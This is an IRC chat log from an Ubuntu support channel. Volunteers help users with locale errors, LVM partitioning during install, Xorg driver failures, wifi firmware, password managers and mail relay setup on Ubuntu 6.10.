NET||abuse hmm, i'm getting errors on my terminals, something about "perl.warning: Setting locale failed."11:02
NET||abusein various part11:02
NET||abuseparts11:02
squidlystormchas3r, its been a bit sence I did a install, now i'm assuming you dont want raid for the drives (that or its alreay setup)11:02
stormchas3rright11:02
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stormchas3rjust one big 240gb drive11:02
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phr34cktk-dev is wrong though.11:02
un_operateurNET||abuse, i think you need to install the !locales package11:02
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NET||abuse!locales11:03
ys76get yourself?11:03
ubotuTo set up and configure your locales, see https://help.ubuntu.com/community/LocaleConf11:03
squidlystormchas3r, look at the top of the screen you should see something that says setup LVM manualy?11:03
NET||abusethanks un_operateur11:03
stefgNET||abuse: don't worry... UTF-8 is too new for some programmers11:03
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stormchas3rsquidly, yup11:03
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squidlystormchas3r, select that11:03
NET||abuse:) hehe, UTF-8 would be nice ;)11:03
NET||abuseahh well11:03
squidlystormchas3r, what does it ask next, (i dont have the screens in front of me11:04
un_operateurstefg, i hope you arent implying perl can't do UTF8? :)11:04
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||cwhm, interesting.  I was logged in as root, but using sudo seems to have fixed it (it's an embeded type system, users are possible, or at least can't be used)11:04
tweakismargh, if only I had a floppy drive.11:04
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AnderbubbleI'm trying to use "matplotlib, but get an ImportError: No module named numpy" when I try to import pylab. I have Numeric and numarray both installed.11:04
stormchas3rsquidly, lvm confi menu,  modify vol groups or mod log volumes11:04
tweakismhow do they make the fat32 livecds?11:04
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mzanfardinoI need a utility to create an ISO image of a CD.  What can I use in GNOME?11:05
squidlystormchas3r, modify vol groups11:05
stormchas3rmzanfardino, k3b11:05
stefg!k3b | mzanfardino11:05
ubotumzanfardino: k3b is a feature-rich and user-friendly burning application for KDE (and, as all KDE applications, works fine on GNOME). For a guide, see https://help.ubuntu.com/community/K3BHowto11:05
||cwtweakism: what would you do with a floppy drive?11:05
un_operateur!tk8.3-dev | phr34ck11:05
stormchas3rsquidly, kk11:05
ubotutk8.3-dev: Tk toolkit for Tcl and X11, v8.3 - development files. In component main, is optional. Version 8.3.5-6ubuntu1 (edgy), package size 636 kB, installed size 1968 kB11:05
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tweakism||cw: put the bios update on it in a way my mobo could understand.11:05
jerpthis page is a howto for compiz on amd64 ........... http://ubuntuforums.org/showthread.php?t=13342711:05
stormchas3rsquidly, kk, i made the group11:05
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tweakism||cw: it only reads fst32, but it'll read cdroms.11:05
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||cwtweakism: ah, well, that;s different.  some mobo's will deal with a floopy image burnt as a el torino bootable cd11:06
squidlystormchas3r, ok does it bring you back to the first screen asking about the vol groups or log groups?11:06
Jordan_Utweakism: el torino11:06
camerongstefg, i just checked out the link u gave me11:06
camerongi dont have internet yet on my ubuntu machiene.. so is it still possible?11:06
stormchas3rsquidly, ya, and i made the log group too, now i am bak to the partioner screen and the lvm was created,  this is where i am lost11:06
camerongcuase i have t odo the apt-get things?11:06
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phixnayjerp: thanks11:07
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||cwthough I had a tyan tiger that would not, bios off cdrom == bricked, however, it had a nice "if bricked, look for special floopy" secondary bios11:07
Alarmhow can i see my kernel version ?11:07
stefguname -r11:07
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kohr_stefg, is ext3 still current? or is there ext4 now? I am going to format it 200 ext3 50 ntfs11:07
squidlystormchas3r, ok you should have a new "hdd" that is named your vg and vl11:07
jerpnp11:07
stormchas3rsquidly, correct11:07
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Jordan_Ukohr_: Ext4 is still just for developers11:07
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stormchas3rsquidly, this is where i havent a clue11:08
jamesbroseWhen I try to change my hostname it doesn't 'register' with the rest of the network, how can i make it update so when i go http://hostname/ it works.. Thanks..11:08
tweakism||cw: Jordan_U: No, it's not a bootable bios update, it'd just a file.  the bios has the ability in the setup to find devices, read filesystems to find the bios update file, kinda like grub.  but it can only handle fat12/16/32.11:08
stefgkohr_: ext4 is future, not present11:08
squidlystormchas3r, set that up like its your a normal drive11:08
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squidlystormchas3r, does that partission say 240gb?11:08
kohr_stefg, k, formatting11:08
||cwtweakism: does it support usb drives?11:08
tweakismeven if it would read the bootable floppy image on the cd, which I doubt, I still don't have a way to make the floppy image.. that's my problem.11:08
stormchas3rsquidly, ok, yes it does11:08
camerongstefg,  so i pretty much cant use ubuntu?11:08
squidlystormchas3r, ok now select is and decide where to mount it11:08
stefgcamerong: i don't understand11:09
stormchas3rsquidly, like root, and all?11:09
||cwtweakism: you can download bootable floppy images, google11:09
tweakism||cw: heh, yeah, but I have NOTHING.  I've searched an entire office, and I have 1 broken USB floppy drive, and 1 broken USB key thingy, and 1 CF reader w/ no card, and 1 important USB HDD formatted as HFS+11:09
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squidlystormchas3r, yep11:09
kohr_stefg, why is it greyed out ? it works for sata drives, right?11:09
tweakism||cw: but you can't edit things you mount loopback.11:09
squidlystormchas3r, you need to tink of the vg and vl as a virutal HDD11:09
||cwsure you can11:09
tweakismhow?11:09
stormchas3rsquidly, kk, i need swap too11:09
||cwum, mount it rw11:09
squidlystormchas3r, that is now lvm works it makes a new "hdd"11:09
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||cwI'm pretty sure I've done it11:10
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squidlystormchas3r, just use a swapfile.. that is what I do11:10
stormchas3rsquidly, mnice11:10
camerongstefg: i dont have internet on my ubuntu computer.. and i need to use it according to the instructions u gave me in the link, which say i need to use "ubuntu repositories" and other internet-access-only things11:10
stefgkohr_: filesystems and harddisk-adapters don't relate... what's your question11:10
tweakism||cw: no man.  you can't write to loopback filesystems.11:10
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kohr_stefg, in gparted, ntfs if greyed out11:10
adonI installed Xgl on edgy, and use a gnome session to start it. When it starts it draws a black screen with the X  cursor on it and starts the loading applet. Is there a way to have the original background screen and cursor when Xgl is loading?11:10
squidlystormchas3r, yea very helpfull.. I use lvm/raid for my systems that need to be able to be flexable and stable ^^11:10
Jordan_Ucamerong: You can download the packages on another machine, but if you connect through ethernet internet should work11:10
tweakism||cw: I need the fat32 equivilent of mkisofs.  note that mkisofs operates quite a bit differently than the normal mkfs.* commands.11:10
stormchas3rsquidly, nice, ill try it11:10
nuvenecan anyone tell me how to fix my computer? Everytime I try to install, remove any programs I get an error about my python setup tools and pida.11:11
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shonDoes anyone know a shell or Run command line in Ubuntu 6.1011:11
jordo23un_operateur: Kind of testing 32 bit konq.....works well.....I think the glitches came from Beryl or loading too many websites (with Flash) to fast or something....11:11
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squidlystormchas3r, i prefer swapfiles over a swap partision because I can resize the swapfile if I need to or I can make a new swapfile ^^11:11
stefgcamerong: with lots of knowledge you would be able,  but at the moment if you have no net access from your ubuntu box it's quite difficult11:11
shonI am trying to run wine tools11:11
tweakismshon: Applications, Accessories, Terminal11:11
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un_operateurnuvene, remember it always helps to have the original error messages handy -- without them, the best help you get is a pure guess .. can you !pastebin the exact errors please?11:12
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camerongugh.. how would i set up net access from my ubuntu ... its a wifi.. should i just give up cause im not expert at linux stuff right now11:12
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stormchas3rsquidly, ok, i made the root / part,  how do i make the swap on the vmdrive?11:12
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yosypI have a SyncMaster 920BW (widescreen) it's resolution should be 1440x900, I set it in xorg.conf doesn't work. I tried the 915resolution hack, but when I change the Device Driver, X wouldn't start at all.11:12
stefg!wifi | camerong11:12
ubotucamerong: Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs11:12
shonthat want run the  winetools program11:12
squidlystormchas3r, just dont use a swap for right now you can make a swap later (and the install really does not need a swapfile)11:12
un_operateurcamerong, keep at it .. you'll feel pleased about your achievement once you have things running, everyone does :)11:12
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stormchas3rsquidly, ok,  well see how the install goes11:13
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stormchas3rsquidly, ty for the help11:13
yosyp!widescreen | yosyp11:13
squidlystormchas3r, i have several boxes with out a swapfiles or partisions11:13
ubotuSorry, I don't know anything about widescreen - try searching on http://bots.ubuntulinux.nl/factoids.cgi11:13
||cwtweakism: I just loop mounted one of my floppy images and was able to touch a new file onto it11:13
stormchas3rsquidly, nice11:13
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tweakismwtf11:13
tweakismwhy can't I do that11:13
yosyp!terrorism | yosyp11:13
ubotuSorry, I don't know anything about terrorism - try searching on http://bots.ubuntulinux.nl/factoids.cgi11:13
||cwtweakism: also added content, just o be sure11:13
camerongyeah i guess il keep trying but ive been working for a few days to get this damn thing set up to no avail really.. and this is taking a lot more work than i woulda thought for an OS that advertises itself as soo easy to use :-/11:14
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squidlystormchas3r, thanks.. they are not doing anything really heave just dns, and a nagios/nessus box11:14
un_operateur||cw, why not just _mount_ your floppy? sounds like overdoing it :)11:14
camerongim reading the wifi thing now anyways11:14
tweakismI remounted it readwrite, but I get a ro file system error11:14
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yosypugh =[11:14
yosypI have a SyncMaster 920BW (widescreen) it's resolution should be 1440x900, I set it in xorg.conf doesn't work. I tried the 915resolution hack, but when I change the Device Driver, X wouldn't start at all.11:14
Jordan_Ucamerong: Try just going to System -> Administration -> Networking and entering the Wifi name ( SSID ) and password and see if it works.11:14
tweakismwell, anyway, I have free space in lvm.11:14
stormchas3rsquidly, nagios is cool11:14
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tweakismso I'll just make a device to make mkfs.vfat happy11:14
||cwun_operateur: don't have one.  I occationaly burn the images as bootbale cd's11:14
||cwVERY occationaly11:14
squidlystormchas3r, not when you have a t1 that likes to drop at seveal times a night for several weeks (all night too)11:14
stormchas3rsquidly, ack11:15
shonhow can I run the wt program11:15
stormchas3rthat sux11:15
camerongJordan_u.. i dont have xserver running yet.. thats the problem.. so its kinda a catch 22 if i pretty much need to use the GUI to get my internet seeing as i need my internet to get the GUI working11:15
yosypubuntu support channel sucks?11:15
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||cwtweakism: I did have to sudo the touch, adhoc mounts are as root and so only root can write to them, unless you set the mount options to say otherwise11:15
un_operateur||cw, ahh i see ok .. nm :)11:15
cafuego_yosyp: You think that will make people want to help you?11:15
squidlystormchas3r, and come back up thus killing an entire site! you sleep threw several pages every 1/3 hour all night long!11:15
yosypcafuego_ most likely11:16
stormchas3rsquidly, great, thay worked,   thank you a bunch.  that sux.    I am thinking about taking the ubuntu server course online11:16
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squidlystormchas3r, go for it.. I really like ubunu for servers11:16
camerongjordan_u u see what i mean?11:16
un_operateuryosyp, if you are opinionated enough to make remarks like that .. you are clever enough to get help elsewhere, now was that a fair comment to make?11:16
Jordan_Ucamerong: You can get basic GUI ( slow / low res ) without installing anything new, just run: sudo dpkg-reconfigure xserver-xorg -phigh and choose "vesa" as the driver11:16
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stormchas3rsquidly, ya me 211:16
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shontweakisa: how can I run the wt program11:16
squidlystormchas3r, im actually working on makeing a new one for a email/webmail server11:16
camerongjordan u - what does -phigh do?11:17
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stormchas3rsquidly, nice, thats what i have, love it11:17
househi. can somebody help me with my problem please? is there a way to downgrade xorg in edgy to version 6.9? i have a problem with a trident video driver in current xorg - tv out is not working in it. after googling it for 2 weeks i found out that the only working driver for it is an old blackfive modified driver, but it is for xfree86. it crashes current modular xorg even after recompiling. the only xorg known to me that is compatible with it is11:17
housemonolythic 6.9.. How do i downgrade xorg 7.1 to 6.9 ?11:17
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Jordan_Ucamerong: Only asks high Priority questions, like what driver and resolution to use11:17
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stormchas3rsquidly, sadly i would love to get open xchange woring on ubuntu, but no luk there11:17
squidlystormchas3r, yea but this is going to handel about 2tb of data a day and about 3000 email address11:17
||cwcamer0ff: makes sets the questions priority to high, so asks everything under the sun11:17
Schenkerhi guys11:17
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squidlystormchas3r, ugg not what I was looking to hear >< but I think I can get it running (I hope)11:17
camerongjordan_u: well mine is currently set to VESA so do u really think that will make a diff?11:18
stefgJordan_U: do yu have a source-doc fot the parameters on dpkg-reconfigure xserver-xorg? I'll be interested in alink11:18
||cwer, or do I have it backwards11:18
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un_operateurhouse, sudo aptitude install xorg=6.911:18
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Schenkerguys i have a question about using Ubuntun from a live CD11:18
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houseun_operateur, thanks!11:18
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Jordan_Ustefg: I don't think there are any package specific parameters so man dpkg-reconfigure should give you all the info you want11:19
stormchas3rsquidly, can you email me please? stormchas3r@gmail.com  I would love to hear how you make out11:19
mc44Schenker: ask  away11:19
un_operateurstefg, I have a feeling those are flags passed to one of the post-install scripts of xserver-xorg11:19
squidlystormchas3r, if I get it workign I will post in the forums11:19
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squidlyand make a how-to11:19
Schenkermy computer is an Apple iBook G4, with 256mb RAM and I was wondering if, when I boot from the CD, will i still be able to access the internet using my airport card?11:19
camerongjordan_u: if mine is already set to VESA do u still think it will make a difference at all?11:19
stormchas3rsquidly, great11:19
stormchas3rsquidly, brb11:19
camerongjordan_u: to have -phigh there?11:19
squidlykk11:19
stefgun_operateur: me 2 ... so i like to know the real tricks :-)11:19
Alakazamz0rHow can i get my LCD to be forced @ 60hz?11:19
linux_user400354whats the keyring software in linux called that manages all the your passwords and has one master password for all of them?11:20
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Jordan_Ucamerong: -p for Priority then high medium etc to select what priority level to show11:20
stefglinux_user400354: kde or gnome?11:20
linux_user400354stefg: gnome11:20
houseun_operateur, "Unable to find a version "6.9" for the package "xorg"" :(11:21
Jordan_Ucamerong: Sorry, the -phigh makes it ask fewer questions11:21
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toulousehey guys, is there any way to get the live cd's to keep browser history+bookmarks? this would be helpful if i could just use the live cd as a "portable computer" that i could take with me11:21
toulouseand settings changes11:21
cafuego_Schenker: No, you will not. Before booting, you should download a package to a usb key. After booting, install the package and reload the wireless drivers.11:21
un_operateurhouse, what does this command give -- apt-cache policy xorg11:21
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camerongjordan_u: i understand that -p[whatever]  is going to change the number of questions asked but you are suggesting i change my driver to vesa so i can use xserver. what i am saying is that my driver is already set to "vesa" and xserver isn't working..11:21
Jordan_Utoulouse: Yes, it's called persistence, I'll find a link...11:21
stefg!gnome-keyring | linux_user40035411:21
ubotugnome-keyring: GNOME keyring services (daemon and tools). In component main, is optional. Version 0.6.0-0ubuntu2 (edgy), package size 63 kB, installed size 1492 kB11:21
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camerongjordan_u: so will filling out vesa while taking the little questionare with -phigh enabled make any difference to the fact i chose "vesa" when asked for the driver?11:22
||cwthat's some serious complression11:22
cafuego_Schenker: The package is 'bcm43xx-firmware', you can get it from: http://ubuntu.cafuego.net/pool/edgy-cafuego/bcm43xx/bcm43xx-firmware_1.3-1ubuntu2_all.deb11:22
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linux_user400354stefg: maybe it is not called keyring. do you know about the software that im talking about?11:22
Schenkercafuego:  I'm downloading the ISO right now, I guess that this won't be suitable?11:22
cafuego_Schenker: It'll be fine.11:22
jamesbrose how can i properly change the hostname of a server box so that i can access it directly (http://hostname/) via a windows pc?11:22
toulouseJordan_U: so the live cd doesnt ever store anything on the computer right? (i dont really want the school computer admins after me)11:22
Schenkerok, thank you11:22
cafuego_Schenker: It has a driver, but the firmware can't be legally distributed on the CD.11:22
Jordan_Ucamerong: OK, what happens when you try to start X, does it crash or just "not work" some other way?11:22
||cwlinux_user400354: what do you want to know about it11:22
stefglinux_user400354: tze equivalent of kwallet for gnome?11:22
Schenkeroh i see11:23
ralyonI have a new install of edgy on a toshiba satellite 330CDS and I can not get my pcmcia card slots to work or my usb. I get a noone cares on irq 11, try irqpoll and adding irqpoll to my kernel string causes a soft lockup detected on cpu0 and does not get rid of the irq error. I also get cardbus cards are not supported shortly after and being that the cardbus uses irq 11 I believe this to be...11:23
ralyon...the problem. Can someone please help me?11:23
stefg!kwallet11:23
ubotuSorry, I don't know anything about kwallet - try searching on http://bots.ubuntulinux.nl/factoids.cgi11:23
cafuego_Schenker: I'm using  abroadcom 4306 *right now* and it works just dandy.11:23
un_operateur!ask | ralyon11:23
uboturalyon: Don't ask to ask a question. Just ask your question :)11:23
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Schenkercool11:23
Jordan_Utoulouse: No, you would store the changes on a thumb drive or a seperate session on the CD11:23
Schenkerso I can install this ISO onto an external USB hard drive?11:23
GuerrillaWonWooo finally. I got everything working.11:23
camerongit displays the following error: AddScreen/ScreenInit failed for driver 0 NEXTLINE XIO: fatal error 104 (connection reset by peer) [... and then some other stats were here, but they were all 0 and seemed relatively trivial] 11:23
stefg!kwalletmanager11:23
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Schenkerand run Ubuntu from that?11:23
ubotukwalletmanager: wallet manager for KDE. In component main, is optional. Version 4:3.5.5-0ubuntu2 (edgy), package size 339 kB, installed size 808 kB11:23
camerongjordan_u: i put the error above11:23
cafuego_Schenker: Perhaps, I don't know.11:23
GuerrillaWonI can so safely say I am now a permenant Linux user.11:23
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GuerrillaWonThanks guys for everything.11:23
stormchas3rsquidly, lilo is failing11:23
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squidlystormchas3r,11:24
linux_user400354stefg: im not sure what kwallet is. the software i used a very long time ago let me store all my password incase i ever forgot them, i had them stored in a program and i needed one master password to access all of the passwords in that program, so i only had to remember one password.11:24
squidlystormchas3r, hmm11:24
||cwSchenker: if your bios supports booting of usb, sure11:24
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toulouseJordan_U; dont wory about that link, im probably better off using portable firefox, it stores it11:24
Jordan_Ucamerong: Could you post the link to the error agian ( this channel moves too fast )11:24
Schenkeryeah, i think it does11:24
GuerrillaWonIt's taken time and headaches but damn if it doesn't feel good to finally get all this working.11:24
squidlystormchas3r, it worked fine for me what is the lilo error?11:24
Schenkerok, i'll work something out11:24
||cwSchenker: though if you have sata or scsi drives things might get a bit weird11:24
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stormchas3rsquidly, says , "running /sbin/lilo failed with error code 111:25
toulousecan i just put an iso on my thumbdrive and change the bios to boot off of usb?11:25
toulousewill that boot off of thumbdrive11:25
stefglinux_user400354: got you. firefox itself has a facility, and i know kwalletmanager for this.... but i'm not sure if gnome-keyring is doing allthat, or if its gpg-centric11:25
Jordan_Utoulouse: No, but there are instructions for installing from a pen drive11:25
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||cwSchenker: and you might have to make your own initrd, I don't think the default one supports usb, that's not too hard to do from a rescue boot though though11:25
Jordan_U!install | toulouse11:25
ubotutoulouse: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall and https://wiki.ubuntu.com/DapperReleaseNotes/UbiquityKnownIssues11:25
camerongjordan_u: see the very beginning of this post where i first asked for help on the error here: http://ubuntuforums.org/showthread.php?p=1986182#post198618211:25
Schenkerok, thanks for the help11:26
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toulouseok, it's no biggie, i think i'll just stick with the cd-rw ive been using to try different distro's11:26
camerongjordan_u: it is the "AddScreen/ScreenInit failed for driver 0" thing11:26
toulousethanks guyus11:26
makuseruubuntu is suspose to be from africa correct?11:26
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linux_user400354if i use firefox, and i forget to lock my computer when leaving to use the restroom, someone could come and use my passwords. it has happened before.11:26
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houseun_operateur: apt-cache policy xorg    xorg: Installed: 1:7.1.1ubuntu6.2   Candidate: 1:7.1.1ubuntu6.2  Versions Table:  *** 1:7.1.1ubuntu6.2 0          500 http://us.archive.ubuntu.com edgy-updates/main Packages         100 /var/lib/dpkg/status      1:7.1.1ubuntu6 0         500 http://us.archive.ubuntu.com edgy/main Packages11:26
||cwmakuseru: the word is11:26
cafuego_makuseru: it's an african word, yes11:26
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un_operateurmakuseru, south africa to be precise11:26
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mc44makuseru: the word is from Zulu11:27
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makuserubu ubuntu was developed on the Isle of Man?11:27
mc44makuseru: no11:27
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stefglinux_user400354: why not just lock the screen?11:27
makuserudistro watch says it is11:27
alek66i cant get my laptop to my palms trusted bluetooth devices, i tried mostly everything with the pins11:27
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un_operateurhouse, you might need to manually download an install the version you need from http://packages.ubuntu.com11:27
||cwubuntu was develeoped in many places all over the globe11:27
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linux_user400354stefg: i try but once in a while i will forget to.11:27
stefglinux_user400354: scratch... you said /in case i forgot/11:27
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||cwbeing based on debian...11:27
mc44makuseru: the headquaters are located in the Ilse of Man, for tax purposes I suppose, the developers are global11:27
kohr_ in gparted, ntfs if greyed out11:28
jaicedoes ubuntu have a central control center/panel?11:28
DoowAnyone know a good nes emulator for ubuntu? (I've tried nestra and fceu)11:28
un_operateurjaice, yes gnome-control-panel11:28
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stefglinux_user400354: rather setup a reasonable autolck time11:28
linux_user400354stefg: the program i am talking about requires a master password everytime it is run, so someone would have to know the master password and i would be safer that way11:28
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||cwjaice: just gnome or kde's I think11:28
Jordan_Ujaice: Yes, gnome-controll-center11:28
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EnverexDoow, ZSNES/Snes9X11:28
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camerongjordan_u: should i repost my message again?11:29
jaice:-/11:29
houseun_operateur, i found the correct packages on backports.. what command should i use to downgrade? will apt-get install allow me to downgrade?11:29
alek66no one? bluetooth help here11:29
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Jordan_Ucamerong: No, I got it11:29
stefglinux_user400354: i understand your problem, but have no solution at hand now11:29
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Intangirhey guys11:29
Intangiri just got beryl11:29
un_operateurhouse, unfortunately no, you'd have to force install at the version you requre11:29
DoowEnverex: they do nes too?11:29
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Intangiron a newly upgraded edgy system11:29
Intangirwhen i try to start it it says: beryl: No RandR extension11:30
un_operateurhouse, if you have the .deb -- you use -  dpkg -i /path/to/file.deb11:30
Jordan_Ucamerong: Is Ubuntu installed or are you still on the live CD?11:30
houseun_operateur, thanks a lot! that was what i was looking for11:30
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NET||abuse!locale11:30
ys76get yourself?11:30
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ubotuTo set up and configure your locales, see https://help.ubuntu.com/community/LocaleConf11:30
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camerongit is installed in a partition on my harddrive via alternative cd 6.10 (this is why its hard for me to just give up.. becuase i cut my HD in half basically for this)11:31
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NET||abusei've read this and the pacakges it mentions aren't anywhere in the default deb repos11:31
camerongjordan_d: ^^11:31
NET||abuseanyone know what's the deal with this?11:31
un_operateurIntangir, errm, you might need !libxrandr2 and !libxrandr-dev11:31
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un_operateur!locales11:31
ubotuTo set up and configure your locales, see https://help.ubuntu.com/community/LocaleConf11:31
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un_operateur!info locales edgy11:31
ubotulocales: common files for locale support. In component main, is required. Version 2.3.22 (edgy), package size 2952 kB, installed size 7284 kB11:31
kohr_ in gparted, ntfs if greyed out, what do i do ?11:31
Jordan_Ucamerong: What video card do you have?11:31
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shonhow do I run a program in ubuntu 6.1011:32
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NET||abuseun_operateur, so yeh, locales and localesconf aren't anywhere in the aptitude listings11:32
KristianDKshon -> ./filename11:32
stefglinux_user400354: you might find revelation useful11:32
stefg!revelation11:32
uboturevelation: GNOME2 Password manager. In component universe, is optional. Version 0.4.7-2ubuntu2 (edgy), package size 337 kB, installed size 1200 kB11:32
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Jordan_Ushon: Alt+F2 to bring up a run dialog11:32
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camerongjordan_u: i have a radeon x300 se 128MB hypermemory11:32
NET||abusenever mind, fixed, didn't have all the required debs enabled11:33
un_operateurNET||abuse, eh?  http://packages.ubuntu.com/edgy/base/locales11:33
cntbubuntu woke up with only ipv6 not having ipv4 what is wrong11:33
kupesoftI know the default umask for new users is set in /etc/login.defs but when I add a new user, how do I make their home dir set to that umask?11:33
Alarmwhat error could this be on my dmesg : [17222343.892000]  loop0: rw=0, want=1808, limit=120411:33
Alarm[17222343.892000]  attempt to access beyond end of device11:33
houseshon, if it doesn't run just as ./filename, do sudo chmod +x ./filename first11:33
ralyonhow can I get irq 11 to work on my satellite laptop in xubuntu edgy?11:33
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js_is it not possible to install ubuntu on an md device using the installer?11:33
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stefgjs_ only with alternate, not with Desktop-CD11:34
Jordan_Ucamerong: Ok, I would try downloading the .debs for fglrx ( ati dirvers ) from Windows and putting them on a thumb drive to install from Ubuntu11:34
kohr_When I run  gparted, I can't format the drive to NTFS, why? The option is greyed out11:34
cntbpls .  ubuntu woke up with only ipv6 not having ipv4 what is wrong11:34
NET||abuseun_operateur, i dunno, it wasn't finding localeconf earlier, now it it,, i messed with debs11:34
NET||abuseanyway,, sorted, thanks for the pointeer :)11:34
un_operateurNET||abuse, i can't find anything about localesconf -- perhaps you meant locale-gen11:34
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camerongjordan_u: thanks i will do that then11:34
camerongjordan_u: any idea where to get them11:34
||cwjs_: what kind of md device do yuo have that's big enough to hold a default install?11:34
killownhow I do to install alsa in my system?11:34
camerongjordan_u: and what are .debs exactly?11:34
killownI not found alsaconf11:35
Jordan_Ucamerong: packages.ubuntu.com I am not sure which you need exactly though11:35
shonjordan_L: Thank you11:35
stefg!sound | killown11:35
ubotukillown: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin11:35
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||cwcamerong: a software package, sort of like a .msi in windows, but more intelligent11:35
js_||cw: a 40gb raid1 array11:35
js_stefg: damn, okay11:35
camerongjordan_u: alraight thanks... il give it a shot11:35
killownsteelb, I can oss work fine but I want alsa11:35
cntb ubuntu woke up with only ipv6 not having ipv4 what is wrong pls any idea11:36
camerongjordan_U: do u think another linux distro would be better?11:36
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||cwjs_: ah, I was thinking a memry device, got handhelds on the brain.  you need to use the text based installer11:36
brodie_irc!rules11:36
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ubotuThe people in this channel are volunteers. Your attitude will determine how fast you are helped. See also http://wiki.ubuntu.com/IrcGuidelines11:36
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Jordan_UWhat packages, including dependencies, are required to install fglrx from a base ubuntu-desktop system?11:36
stefgjs_: if you want to avoid a new download you cn install to a straight device and move that later11:36
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steel_ladycan somebody tell a stupid blond how to do java plugin for mozilla?11:36
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r0bbysteel_lady: what do you mean?11:37
bungcould someone help me out, i wanted to know if there is a specific i686 version to install, and also if there are DVD releases with more stuff on them.. i only see 700mb files on the torrents page.11:37
stefg!java | steel_lady11:37
ubotusteel_lady: To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository11:37
un_operateurJordan_U, apt-cache show  fglrx-driver11:37
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steel_ladyI installed java but it doesn't work on some pages11:37
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stefgsteel_lady: please notice that i typed very,very slowly.... so that you can keep track :-)11:37
Jordan_Uun_operateur: I already have it installed so I don't know what of it's dependencies are not available from a base system11:37
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un_operateurJordan_U, why do you worry?11:38
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js_||cw: i figured that, and the textbased is only included in the alternate cd?11:39
steel_ladywhat is multiverse? I don't have any idea about all this and I don't have ages to read forums!11:39
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stefg!repos | steel_lady11:39
ubotusteel_lady: The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource11:39
Jordan_Uun_operateur: I am trying to help camerong who needs to download the .debs from windows as he hasn't gotten wireless working yet, so he will need to download all of the other .debs fglrx depends on11:39
||cwjs_: not sure, I haven't used a live cd since, well, I tried the first one once and that was enough for me :D11:39
js_||cw: hehe, alright :p11:40
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||cwpersonaly i don't see the point of it, If my plan is to install, why would a want a full gui env loaded off a slow ass cd rom11:40
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MooseDoes Ubuntu server come with a mail relay?11:40
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stefg!install | js_11:41
ubotujs_: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall and https://wiki.ubuntu.com/DapperReleaseNotes/UbiquityKnownIssues11:41
un_operateurJordan_U, what is the exact name of the package containing the fglrx-driver11:41
un_operateur?11:41
Rprp  Bam-bam BugServ ChanServ Duiv Eggdrop Global MemoServ NickServ OperServ Roconda Rprp Slaapen11:41
Jordan_Uun_operateur: xorg-driver-fglrx11:41
philluk86does anyone know where i can ubuntu's policy on packaging pygtk apps?11:41
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||cwMoose: reconfig exim for smarthost11:41
NET||abuse!locales11:41
ys76get yourself?11:41
ubotuTo set up and configure your locales, see https://help.ubuntu.com/community/LocaleConf11:41
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steel_ladythe main reason why win users hate ubuntu is because when they look for help are sent to a bunch of instruction pages where they loose a couple of hours reading11:41
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Moose||cw: I'm a bit new to the whole linux thing, what exactly does that mean? :P11:42
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MooseOr how would I go about doing that anyways...11:42
stefgphilluk86: you might want to /j #ubuntu-motu11:42
||cwMoose: heh, dpkg-reconfigure exim4-config11:42
un_operateurJordan_U, if you know that -- then you can use this tool here to list the depends -- http://ljl.byethost14.com/apt   --  http://ljl.byethost14.com/apt?repo=Edgy&arch=x86&package=xorg-driver-fglrx&have=11:42
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Moose||cw: Thanks11:42
||cwMoose: er, sudo dpkg-reconfigure exim4-config, of couse11:42
||cwMoose: that should ask you about all possible setup, should be able to choose what you need from there11:43
MooseCool, thanks.11:43
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un_operateursteel_lady, if a ubuntu user pays me the rate-of-pay for a windows consultant .. i'll work just how the user wants :)11:43
juano__!xubuntu11:43
ubotuxubuntu is Ubuntu with Xfce instead of Gnome. For more info, see http://www.xubuntu.org and http://wiki.ubuntu.com/Xubuntu/ - To install from Ubuntu: "sudo apt-get install xubuntu-desktop". | For support, see #xubuntu | See also: !ubuntu and !xubuntu-channels11:43
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Jordan_Ucamerong: What version of Ubuntu are you using?11:44
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kazukaHow do I fix something like this: Xlib:  extension "GLX" missing on display ":0.0".11:44
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kohr_stefg, i can't partition it with NTFS, it is greyed out11:44
Moose||cw: It says the package is not installed...11:44
||cwMoose: hm, do you have postfix installed?11:45
stefgkohr_: give me a sudo fdisk -l output on !paste11:45
Moose||cw: I don't know what that is, so I'm guessing no.11:45
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mcm832hi all.11:45
||cwMoose: i wouldn't assume so much :)  search for it in synaptic11:45
Moose||cw: All I've done is install Ubuntu with the LAMP setup and I installed SSH.11:46
mcm832does anyone know of a way to have a script run at gnome logout time11:46
mcm832perferably at the system level, not per user11:46
Moose||cw: Synaptic is....11:46
||cwMoose: or with no gui, aptitude11:46
kohr_!paste11:46
ubotupaste is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste)11:46
mcm832in cde it would be /etc/dt/conf/sessionexit... does gnome have something simular?11:47
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Flosoft2hey11:47
mnoirmcm832: systems do not logout.  please elaborate - what do you mean?11:47
Flosoft2I am trying to install Kubuntu 6.10 ... but it freezes at ACPI configuration11:47
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Flosoft2it is a Core2Duo Laptop from Samsung11:47
shondoes any one know of a place where I can get a list of the short cut keys for ubuntu 6.1011:47
Moose||cw: Postfix is not under the installed packages list, or on the not-installed packages list...11:47
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stefgFlosoft2: so acpi=off is what you need... see !boot11:48
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Flosoft2!boot11:48
ubotuBoot options: https://help.ubuntu.com/community/BootOptions - To add/remove startup services, you can use the package 'bum', or update-rc.d - To add your own startup scripts, use /etc/rc.local - See also !grub and !dualboot - Making a boot floppy: https://help.ubuntu.com/community/GrubHowto/BootFloppy - Also see https://help.ubuntu.com/community/SmartBootManagerHowto11:48
Moose||cw: This is the server install of Ubuntu, just so you know.11:48
mcm832mnoir: I want to run a command when the user logs off of gnome.11:48
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||cwMoose: been a while since I did one, seems like it should have SOME mta being a server...11:48
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||cwMoose: k, well, what are you goals with the mail server?  just send out emails?11:49
